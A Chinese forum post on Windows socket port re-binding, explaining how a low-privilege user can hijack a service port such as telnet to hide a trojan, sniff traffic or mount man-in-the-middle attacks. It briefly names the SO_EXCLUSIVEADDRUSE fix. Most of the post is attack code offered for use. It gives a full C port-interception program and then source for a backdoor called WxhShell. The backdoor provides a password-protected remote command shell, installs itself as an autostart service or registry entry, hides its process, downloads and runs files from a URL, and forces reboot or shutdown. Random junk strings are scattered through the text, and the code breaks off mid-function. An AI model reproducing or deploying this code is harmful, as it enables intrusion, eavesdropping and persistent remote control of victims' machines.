社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 10542阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: j@guB:0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h!!7LPxt  
^5{0mn_4i  
  saddr.sin_family = AF_INET; -qDM(zR  
RAs5<US:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); c_N'S_)~7Q  
;;]^d_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !uxma~ZH-  
A.|98*U%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *[ww;  
o_#F,gze)S  
  这意味着什么?意味着可以进行如下的攻击: 0kiV-yc   
Ij_h #f   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 c`M ,KXott  
3;F+.{Icc  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) F8* zG 4/&  
U 6`E\?d`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 + 2j]  
[$]Kp9YD  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  G?e\w+}Pj@  
qy^sdqHl@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 92";?Xk  
D:I6nSoC  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `9vCl@"IV  
"b6ew2\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 RLE6=#4  
Cu,#w3JR  
  #include #^zUaPV 7r  
  #include pN-c9n4#j  
  #include  x#hGJT  
  #include    j-n-2:Q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6<`tb)_2~  
  int main() VM"z6@  
  { )2Dm{T  
  WORD wVersionRequested; ,^m;[Dl7  
  DWORD ret; IS [&V&.n  
  WSADATA wsaData; -+H?0XN  
  BOOL val; nu!tk$Q  
  SOCKADDR_IN saddr; G@+AB*Eu  
  SOCKADDR_IN scaddr; [+_0y[~,tB  
  int err; 8EC$p} S  
  SOCKET s; O @)D%*;v  
  SOCKET sc; &"/IV$H  
  int caddsize; 0'nY  
  HANDLE mt; Ed ,O>(  
  DWORD tid;   .G/2CVMj  
  wVersionRequested = MAKEWORD( 2, 2 ); ,nnVHBN  
  err = WSAStartup( wVersionRequested, &wsaData ); `ZLA=oD  
  if ( err != 0 ) {  dl;  
  printf("error!WSAStartup failed!\n"); ]4 q6N  
  return -1; ]*\m@lWu  
  } p J#<e  
  saddr.sin_family = AF_INET; ;qwN M~  
   # ZcFxB6)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Ar iW&E  
X ^\kI1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); cfrvx^,2&  
  saddr.sin_port = htons(23); 9?i~4&EY  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]fb3>HOTJ  
  { NkYU3[m$v  
  printf("error!socket failed!\n"); >}|Vmy[/  
  return -1; mvV5X al  
  } |.;LI= CT  
  val = TRUE; \4FKZ>1+R  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Tu9[byfrI  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5IfyD ]<  
  { tI;pdR]  
  printf("error!setsockopt failed!\n"); |`c=`xK7'  
  return -1; qFwJ%(IQ  
  } r[votdFo  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5:6]ZFW  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @, %IVKg\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 18{" @<wIs  
o9 g0fC  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |-! yKB  
  { idLCq^jnJ  
  ret=GetLastError(); *5Aq\g,n  
  printf("error!bind failed!\n"); rZSX fgfr  
  return -1; -)dS`hM  
  } Lr;PESV  
  listen(s,2); lMW4SRk1C  
  while(1) 25-5X3(>j=  
  { |v?*}6:a  
  caddsize = sizeof(scaddr); e/nc[  
  //接受连接请求 :f|X$> b  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); dLnu\bSF  
  if(sc!=INVALID_SOCKET) ,f2tG+P  
  { w=K!U]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); tMnwY'  
  if(mt==NULL) " +n\0j;  
  { @!MhVNS_<  
  printf("Thread Creat Failed!\n"); o*}--d? S  
  break; ;+W9EbY2  
  } gyx4='Q  
  } D/7hVwMw:  
  CloseHandle(mt); =m6yH_`@  
  } 1p]Z9$Y  
  closesocket(s); 6~b]RZe7  
  WSACleanup(); cV+ x.)a.  
  return 0; m=.}}DcSs  
  }   @*}?4wU^k  
  DWORD WINAPI ClientThread(LPVOID lpParam) @*{sj`AS '  
  { I'$}n$UvZ  
  SOCKET ss = (SOCKET)lpParam; ZUiI nO  
  SOCKET sc; X&+*?Q^  
  unsigned char buf[4096]; `*to( )  
  SOCKADDR_IN saddr; hD I}V 1)  
  long num; xO nW~Z  
  DWORD val; ( /):  
  DWORD ret; ``j8T[g  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `x'vF#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   eo~>|0A*V  
  saddr.sin_family = AF_INET; v *UJ4r  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); LsGu-Y 5^  
  saddr.sin_port = htons(23); _8;)J  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1E'/!|  
  { >QJfTkD$  
  printf("error!socket failed!\n"); y7x[noGtR  
  return -1; #vnJJ#uI|>  
  } ;?`l1:C5)  
  val = 100; 3$hbb6N%6.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ! !9l@  
  { V`;$Ua;y  
  ret = GetLastError(); Ml Bw=Nr  
  return -1; !`VC4o  
  } P O{1u%P  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^3:y<{J  
  { 5f'<0D;K  
  ret = GetLastError(); C1 YG=!  
  return -1; yk<$XNc  
  } PiTe/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _ o-lNt+  
  { c'8a)j$$+  
  printf("error!socket connect failed!\n"); tEE1`10Mt  
  closesocket(sc); Bt\z0*t=s  
  closesocket(ss); b5v6Y:f&fK  
  return -1; q%Fc?d9  
  } Zagj1 OV|  
  while(1) 5?()o}VjAO  
  { y_Tc$g~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5_}e?T&s  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 rW&# Xw/a  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _\y%u_W  
  num = recv(ss,buf,4096,0); :y!%GJW  
  if(num>0) ]|y]?7  
  send(sc,buf,num,0); tg X},OU^  
  else if(num==0) J"TM[4^\Y  
  break; kQY+D1  
  num = recv(sc,buf,4096,0); E*F)jP,yo  
  if(num>0) ^ew<|J2,B  
  send(ss,buf,num,0); =:;KY uTr  
  else if(num==0) xn)eb#r  
  break; l`}Ag8Q  
  } $)fybn Y  
  closesocket(ss); EC6Q<&]Iw  
  closesocket(sc); Wveba)"$  
  return 0 ; ydyGPZ t  
  } L`!M3c@u  
i47xF7y\  
%%w/;o!c  
========================================================== [v!TQwMU  
`S{Blv  
下边附上一个代码,,WXhSHELL R1%2]?  
22<T.c  
========================================================== u?>]C6$  
v FL\O  
#include "stdafx.h" { _]'EK/w  
5"]t{-PD  
#include <stdio.h> jr9/  
#include <string.h> y+P iH  
#include <windows.h> P=j89-e  
#include <winsock2.h> /W6r{Et  
#include <winsvc.h> b(Ev:  
#include <urlmon.h> #''q :^EQ  
rU {E}  
#pragma comment (lib, "Ws2_32.lib") bS9<LQ*  
#pragma comment (lib, "urlmon.lib") 0K&\5xXM  
Viu+#J;l  
#define MAX_USER   100 // 最大客户端连接数 v .ftfL!  
#define BUF_SOCK   200 // sock buffer &!kr &g#]  
#define KEY_BUFF   255 // 输入 buffer =eXJZPR  
*vss  
#define REBOOT     0   // 重启 mu(EmAoenQ  
#define SHUTDOWN   1   // 关机 Nm 0kMq|h  
zgdOugmmt_  
#define DEF_PORT   5000 // 监听端口 u{o!j7  
ET&Q}UOE  
#define REG_LEN     16   // 注册表键长度 Pkm3&sW  
#define SVC_LEN     80   // NT服务名长度 H9^DlIv('  
2A+I8/zRG  
// 从dll定义API *1Lkde@|{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f8DF>]WW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :!wdqn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #\[((y:q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [,F5GW{x  
|Q'l&Gt6  
// wxhshell配置信息 r# }`{C;+5  
struct WSCFG { 9\|n2$H:  
  int ws_port;         // 监听端口 z'G~b[kG4n  
  char ws_passstr[REG_LEN]; // 口令 2{!^"iW  
  int ws_autoins;       // 安装标记, 1=yes 0=no {ER%r'(4Z  
  char ws_regname[REG_LEN]; // 注册表键名 QX*HvT  
  char ws_svcname[REG_LEN]; // 服务名 -'tgr6=|w"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j]#-DIL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *Q<%(JJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WrR97]7t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @+v;B:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  [>'P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1!x-_h}  
y<G@7?   
}; EcA@bZ0  
2EeWcTBU}.  
// default Wxhshell configuration QPi]5z?  
struct WSCFG wscfg={DEF_PORT, +M+ht  
    "xuhuanlingzhe", axl!zu*  
    1, {I!sXj  
    "Wxhshell", By t{3$  
    "Wxhshell", 4s!rrDN  
            "WxhShell Service", ~$0Qvyb>  
    "Wrsky Windows CmdShell Service", 0YsC@r47wL  
    "Please Input Your Password: ", E47U &xL  
  1, Q1G?e,Q  
  "http://www.wrsky.com/wxhshell.exe", k-LB %\p  
  "Wxhshell.exe" Tm8c:S^uq)  
    }; ^oFg5  
):. +u=  
// 消息定义模块 S.9ki<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qp-/S^%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lg0iNc!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C ^@~  
char *msg_ws_ext="\n\rExit."; R~,*W1G6sF  
char *msg_ws_end="\n\rQuit."; gJNp]I2R  
char *msg_ws_boot="\n\rReboot..."; pcM'j#;  
char *msg_ws_poff="\n\rShutdown..."; d1c_F~h<  
char *msg_ws_down="\n\rSave to "; W*q[f!@  
t(4%l4i;X  
char *msg_ws_err="\n\rErr!"; OBF2?[V~  
char *msg_ws_ok="\n\rOK!"; 8F(_Vqu  
=TDK$Ek  
char ExeFile[MAX_PATH]; Bf Lh%XC  
int nUser = 0; Y&O<A8=8  
HANDLE handles[MAX_USER]; I9ga8mG4-'  
int OsIsNt; XD5z+/F<"0  
"+js7U-  
SERVICE_STATUS       serviceStatus; -f.<s!a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Tc6H%itV  
K8.=bGyg  
// 函数声明 p7Yej(B  
int Install(void); .[1"Med J  
int Uninstall(void); 3_Su5~^  
int DownloadFile(char *sURL, SOCKET wsh); JLsy|}>  
int Boot(int flag); jXO*_R  
void HideProc(void); -WIT0F4o;  
int GetOsVer(void); M"OX NPkc  
int Wxhshell(SOCKET wsl); $/%|0tQ  
void TalkWithClient(void *cs); jUq^$+N  
int CmdShell(SOCKET sock); 2\ /(!n  
int StartFromService(void); =N,Mmz%  
int StartWxhshell(LPSTR lpCmdLine); kfo, PrW`A  
LI[ w?6B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9-DDly [)4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }>cQ}6n.  
sKhX0,s&  
// 数据结构和表定义 K9FtFd  
SERVICE_TABLE_ENTRY DispatchTable[] = Vcg$H8m  
{ gqaENU>  
{wscfg.ws_svcname, NTServiceMain}, P`HE3?r  
{NULL, NULL} DWep5$>&K  
}; .~0A*a  
(( 0%>HJ{~  
// 自我安装 I U/HYBJH  
int Install(void) 1(`>9t02/?  
{ U:eahK  
  char svExeFile[MAX_PATH]; ?d1H]f<M  
  HKEY key; T?W`g> yM  
  strcpy(svExeFile,ExeFile); 3 tMFJ ;*`  
iWu$$IV?-  
// 如果是win9x系统,修改注册表设为自启动 |1G/J[E  
if(!OsIsNt) { U}7 a;4?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }O<u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V.kU FTCvf  
  RegCloseKey(key); ![Z'jC py  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =<I90j~)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :] Jwcp  
  RegCloseKey(key); 0n S69tH  
  return 0; ]<mXf~zg  
    } d#.9!m~.  
  } Vkdchc  
} i~}[/^  
else { qG=9zp4y?Y  
h Ns<Ae  
// 如果是NT以上系统,安装为系统服务 'G3B02*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /#M|)V*wn  
if (schSCManager!=0) *P&ZE   
{  Hq h  
  SC_HANDLE schService = CreateService *p{wC r  
  ( 8Letpygm  
  schSCManager, WRQJ6B  
  wscfg.ws_svcname, Vd[[<  
  wscfg.ws_svcdisp, r{.DRbn  
  SERVICE_ALL_ACCESS, Wa%Zt*7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m/sAYF"  
  SERVICE_AUTO_START, <4,>`#NEo  
  SERVICE_ERROR_NORMAL, l|[cA}HtB  
  svExeFile,  L2[|g~  
  NULL, oJw~g [  
  NULL, /"+ n{*9  
  NULL, 0"$Ui#r`  
  NULL, bNR}Mk]?  
  NULL ~WK>+T,%  
  ); "q4c[dna  
  if (schService!=0) , KF>PoySA  
  { ? &ew$%  
  CloseServiceHandle(schService); 5_b`QO  
  CloseServiceHandle(schSCManager); zJS,f5L6)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E ~xK1x"  
  strcat(svExeFile,wscfg.ws_svcname); HONrt|c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -crKBy  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w `6qT3v  
  RegCloseKey(key); ZKyK#\v<  
  return 0; y\b.0-z  
    } QIVpO /@  
  } MK 7S*N1  
  CloseServiceHandle(schSCManager); 't \:@-tQ  
} ,9gyHQ~  
} Fxy-_%a  
g5/%}8[- 2  
return 1; |*"uj  
} k6-Q3W[+a  
vRYQ4B4o  
// 自我卸载 -J4?Km  
int Uninstall(void) ^EE 3E'  
{ Y[9x\6 _E  
  HKEY key; 7Xm7{`jH  
l2KR=& SX/  
if(!OsIsNt) { a0OH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Asicf{HaX  
  RegDeleteValue(key,wscfg.ws_regname); :BG/]7>|V  
  RegCloseKey(key); 9VdVom|e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ma>{((N  
  RegDeleteValue(key,wscfg.ws_regname); "0Uh(9Fv  
  RegCloseKey(key); GEXT8f(7  
  return 0; g,U~3#   
  } MjNCn&c  
} %>}6>nT#  
} $}r*WZ  
else { M%+l21&  
{.O Bcx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9*2A}dH  
if (schSCManager!=0) .Y[sQO~%  
{ x F7C1g(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :-7`Lfi@%  
  if (schService!=0) H[ocIw  
  { di}YHMTx  
  if(DeleteService(schService)!=0) { 3 <RkUmR  
  CloseServiceHandle(schService); f sAgXv  
  CloseServiceHandle(schSCManager); nk9Kq\2f:  
  return 0; gUzCDB^.:  
  } qlmz@kTb  
  CloseServiceHandle(schService); iD#HB o  
  } C"_f3[Z  
  CloseServiceHandle(schSCManager); 8P.UB{QNe  
} X6%w6%su5  
} ]0.? 1se  
n!~mdI&  
return 1; S/v+7oT  
} JyWBLi;Z  
r 11:T3  
// 从指定url下载文件 aN{C86wx  
int DownloadFile(char *sURL, SOCKET wsh) y-O# +{7  
{ 1[o] u:m9U  
  HRESULT hr; ?#ue:O1  
char seps[]= "/"; +lmMBjDa  
char *token; cZT;VmC  
char *file; =XsdR?C  
char myURL[MAX_PATH]; m{Jo'*%8f  
char myFILE[MAX_PATH]; y^_ 'g2H  
,$@nbS{Q]  
strcpy(myURL,sURL); H[?~u+  
  token=strtok(myURL,seps); ja*k\w{U'  
  while(token!=NULL) tJo,^fdfv  
  { LivPk`[  
    file=token; I <`9ANe  
  token=strtok(NULL,seps); W@v@|D@  
  } 4thLK8/c5g  
q3Re F_  
GetCurrentDirectory(MAX_PATH,myFILE); p*)RP2  
strcat(myFILE, "\\"); !/, 6+2Ru  
strcat(myFILE, file); +c#:;&Gs  
  send(wsh,myFILE,strlen(myFILE),0); ik02Q,J  
send(wsh,"...",3,0); `X]TIMc:Ad  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); aG;6^$H~  
  if(hr==S_OK) |xy r6gY  
return 0; U;o[>{L   
else lob{{AB,!  
return 1; ).@8+}`  
evryk,x  
} 1xg^;3m2  
b;K>Q!(|  
// 系统电源模块 6z@OGExmd#  
int Boot(int flag) WV_y@H_  
{ de]r9$ D  
  HANDLE hToken; 9H:5XR  
  TOKEN_PRIVILEGES tkp; Bi2be$nV  
zlzr;7m  
  if(OsIsNt) { N8|=K_;&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hM\<1D CKG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); CLU!/J $!  
    tkp.PrivilegeCount = 1; %:oyHlz%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D"_~Njf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I9P< !#q>  
if(flag==REBOOT) { 6r"uDV #0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r1&b#r>  
  return 0; -]c5**O}  
} }r^@Xh  
else { YgiwtZ5FY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o.U$\9MNP  
  return 0; 4} uX[~e&  
} #=/eu=  
  } Y, K): ~T  
  else { ^/\OS@CT\  
if(flag==REBOOT) { px5~D(N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9{@#tx  
  return 0; ;m$F~!Y  
} =t1.j=oC  
else { d (]t}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4q o4g+  
  return 0; 9'F-D  
} 6dQa|ACX_  
} Icf 4OAx  
#+Z3!VS  
return 1; (x,w/1  
} d&'z0]mOe  
$,"{g<*k;  
// win9x进程隐藏模块 f2Frb  
void HideProc(void) SvC|"-[mJ  
{ F_;oZ   
"8 |y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *u.6,jw  
  if ( hKernel != NULL ) Wh[+cH"M  
  { H6?ZE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :Z(?Ct&8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |5)~WoV/G  
    FreeLibrary(hKernel); Srj%6rgsB  
  } k^AI7H  
)\_xB_K\  
return; yA_;\\  
} 9i@AOU  
X1G[&  
// 获取操作系统版本 fU^B 3S6X  
int GetOsVer(void) ^c{}G<U^  
{ Pm; /Ua  
  OSVERSIONINFO winfo; 5(bG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qQN&uBQ[  
  GetVersionEx(&winfo); eIc~J!?<&V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {H s" "/sb  
  return 1; dgPJte%i  
  else Q(h,P+  
  return 0; F^b C!;~x  
} {V%ZOdg9  
Ib.`2@ o&  
// 客户端句柄模块 'JY*K:-  
int Wxhshell(SOCKET wsl) U I|L;5  
{ D.xN_NK"  
  SOCKET wsh; _ b}\h,Ky  
  struct sockaddr_in client; hH:7  
  DWORD myID; Nw $io8:d  
pgz3d{]ua  
  while(nUser<MAX_USER) 1;r^QAK&  
{ VaZ+TE  
  int nSize=sizeof(client); t$=FcKUV}f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _`Ey),c_  
  if(wsh==INVALID_SOCKET) return 1; K6=-Zf  
|Axg}Q|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J'^s5hxn+0  
if(handles[nUser]==0) 5} |O  
  closesocket(wsh); ~J!a?]  
else #EtS9D'd+  
  nUser++; Mp; t?C4  
  } ], Wh]q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 84tuN  
0$l=ME(  
  return 0; `*PVFm>  
} 6u/3"A]'  
x^_Wfkch]  
// 关闭 socket Dr6"~5~9w  
void CloseIt(SOCKET wsh) OO_{ o  
{ LA$uD?YA  
closesocket(wsh); 1Lwi?~!LI  
nUser--; C3-l(N1O{  
ExitThread(0); 0X+Jj/-ge  
} R[ S*ON  
! e6;@*  
// 客户端请求句柄 5:9Ay ?  
void TalkWithClient(void *cs) VpMpZ9oM<  
{ xtf]U:c  
uxk&5RY  
  SOCKET wsh=(SOCKET)cs; =]oBBokV  
  char pwd[SVC_LEN]; VBR@f<2L  
  char cmd[KEY_BUFF]; wE3^6  
char chr[1]; u,[Yaw"L  
int i,j; K,tmh1  
R?+Eo(0q,  
  while (nUser < MAX_USER) { eJ)Bs20Q  
g. f!Uc{  
if(wscfg.ws_passstr) { 6}R^L(^M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vrn I Eur  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TveCy&  
  //ZeroMemory(pwd,KEY_BUFF); H? N!F7s  
      i=0; ]7zDdI|  
  while(i<SVC_LEN) { &q1(v3cOO  
cRz7.9-<  
  // 设置超时 5R4h9D5  
  fd_set FdRead; $f>Mz|j  
  struct timeval TimeOut; W-=~Afy  
  FD_ZERO(&FdRead); ^te9f%>$l  
  FD_SET(wsh,&FdRead); m}6GVQ'Q  
  TimeOut.tv_sec=8; r S/Q  
  TimeOut.tv_usec=0; z_!P0`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8<3J!X+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _Pa(5-S'KR  
D9e"E1f+"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e%x$Cb:znn  
  pwd=chr[0]; 0 sVCTJ@  
  if(chr[0]==0xd || chr[0]==0xa) { J/w?Fa<  
  pwd=0; a}#[mw@m=  
  break;  <VB  
  } 'mpY2|]\$  
  i++; h+zJ"\  
    } s`Z(f:/6*  
2tC ep  
  // 如果是非法用户,关闭 socket g]iWD;61  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /fA:Fnv  
} 8gJ"7,}-'  
/MsXw/],  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~^" cNv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;E:ra_l  
?v#t{e0eQ  
while(1) { MR%M[SK1  
Rb<aCX  
  ZeroMemory(cmd,KEY_BUFF); 3s\2 9gq  
hnL"f[p@gC  
      // 自动支持客户端 telnet标准   nk1(/~`  
  j=0; 9%oLv25{)  
  while(j<KEY_BUFF) { xBG&ZM4"^f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /#9O{)  
  cmd[j]=chr[0]; HoymGU`w  
  if(chr[0]==0xa || chr[0]==0xd) { M]jzbJ3Q  
  cmd[j]=0; $ePAsJ  
  break; wED~^[]f  
  } s7O?)f f  
  j++; 9NaC7D$,  
    } 9/D+6hJ]:  
go6Hb>  
  // 下载文件 ^w^cYM,  
  if(strstr(cmd,"http://")) { W6&" .2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [:a;|t  
  if(DownloadFile(cmd,wsh)) :~:(49l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^o!K0 t*  
  else 8l>/ZZ.NXi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L GK0V!W  
  } [[JwHM8H&  
  else { ^qiTO`lg  
LB? evewu  
    switch(cmd[0]) { T'\ lntN  
  ZNFn^iuQ  
  // 帮助 "pdG%$  
  case '?': { _zJY1cr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "6 dC  
    break; rv;w`f  
  } 0Z2![n  
  // 安装 Gi]Pwo${  
  case 'i': { dQ`ch~HVUW  
    if(Install()) KLsTgo|J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4&K~EX"^T  
    else $&n!j'C:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |6`yE]3 -(  
    break; SWO$# X /  
    } &kXf)xc<~  
  // 卸载 R JnRbaC  
  case 'r': { 2aW&d=!ZV  
    if(Uninstall()) S`K8e^]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =B*,S#r  
    else jFw?Ky2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M ,e_=aq  
    break; 1P3^il7  
    } W: cOzJ  
  // 显示 wxhshell 所在路径 kxWf1hIz0  
  case 'p': { %l,p />r  
    char svExeFile[MAX_PATH]; Nk86Y2h  
    strcpy(svExeFile,"\n\r"); z^{VqC*o+  
      strcat(svExeFile,ExeFile); H1 n`A#6?  
        send(wsh,svExeFile,strlen(svExeFile),0); MCe =RR  
    break; "^zxq5u  
    } Z)|*mJ  
  // 重启 E$4\Yc)(AL  
  case 'b': { h?bm1e5kE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e}(ws~.  
    if(Boot(REBOOT)) %1@+pf/  
